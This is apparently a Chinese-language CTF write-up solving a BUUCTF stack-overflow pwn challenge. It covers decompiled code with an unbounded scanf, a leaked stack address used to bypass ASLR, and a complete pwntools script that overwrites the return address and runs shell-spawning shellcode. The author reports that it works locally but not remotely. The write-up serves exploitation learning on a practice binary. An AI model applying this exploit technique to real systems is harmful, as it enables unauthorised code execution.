1 int __cdecl main(int argc, const char **argv, const char **envp) 2 { 3 char v4; // [rsp+0h] [rbp-10h] 4 5 printf("0x%lx ", &v4, envp); 6 __isoc99_scanf("%s", &v4); 7 return 0; 8 }
IDA打开发现存在scanf函数,这个函数能够接受任意长度的数据,所以存在栈溢出漏洞。并且观察了所有的函数,并没有存在后门,所以这里作为一道简单题,就要传一个shellcode来执行了。这里也并没有全局变量,因此无法向bss段去写入shellcode,只能从栈上下手了。
check一下发现,NX没有打开,所以这个程序的栈是可以执行的。
但是还有一个保护是ASLR,这个保护是在远程设备里开启的,它会把栈的地址随机化,也就是说每一次打开这个程序,他的地址都会变化,因为有这个ASLR的存在,即使把shellcode写入了栈里,在进行pwn攻击时,也是无法找到这个栈的绝对地址的。
如上三个图所示,这个题在buuctf里有(但是好像部署的有问题,必须得输入点东西回车后,才能返回这个地址),可以看到,每一次打开,这个地址都会变化。
通过IDA中我们可以看到,程序把v4所在的栈帧地址给打印出来了,又由于v4的地址是rsp+0h,所以这个地址其实就是rsp的绝对地址。即使由于ASLR的存在,每次栈的地址都会发生变化,但是这个程序却把每次变化的值告诉了我们。
通过以上分析,我们就可以构造payload了,首先通过pwntools得知,需要覆盖0x18个字节的填充数据,然后再加上shellcode地址,再之后跟的就是shellcode了。
即payload=b‘A’*0x18+shellcode地址+shellcode
稍微有点难的地方就在于这个shellcode地址,程序给我们打印出的值是v4在栈中的地址,也就是rsp,我们需要填充0x18个字节之后再用8个字节填充shellcode地址,因此shellcode地址为rsp+0x18+0x8才对。
1 from pwn import * 2 context.arch="amd64" 3 io=process('./bitsctf') 4 #io=remote('node3.buuoj.cn',27942) 5 ret=int(io.recv()[0:14],16) 6 payload=b'A'*0x18+p64(ret+0x20)+asm(shellcraft.amd64.sh()) 7 io.send(payload) 8 io.interactive()
本地调试可以,但是在buuctf上,没有得到flag。
这个题我觉着我是理解的,但是由于水平有限,感觉写的还是乱七八糟。给我的启示一个是,相对地址和绝对地址的区别,就像是在这个题里,虽然有ASLR的存在,但是RSP和RBP的相对位置是不变的,因此就能够得知填充多少字节的垃圾数据了。但是又因为绝对地址是变化的,所以在往栈上传shellcode时,必须得知道绝对地址才能够返回到这里。另一个是加深了我对栈的理解。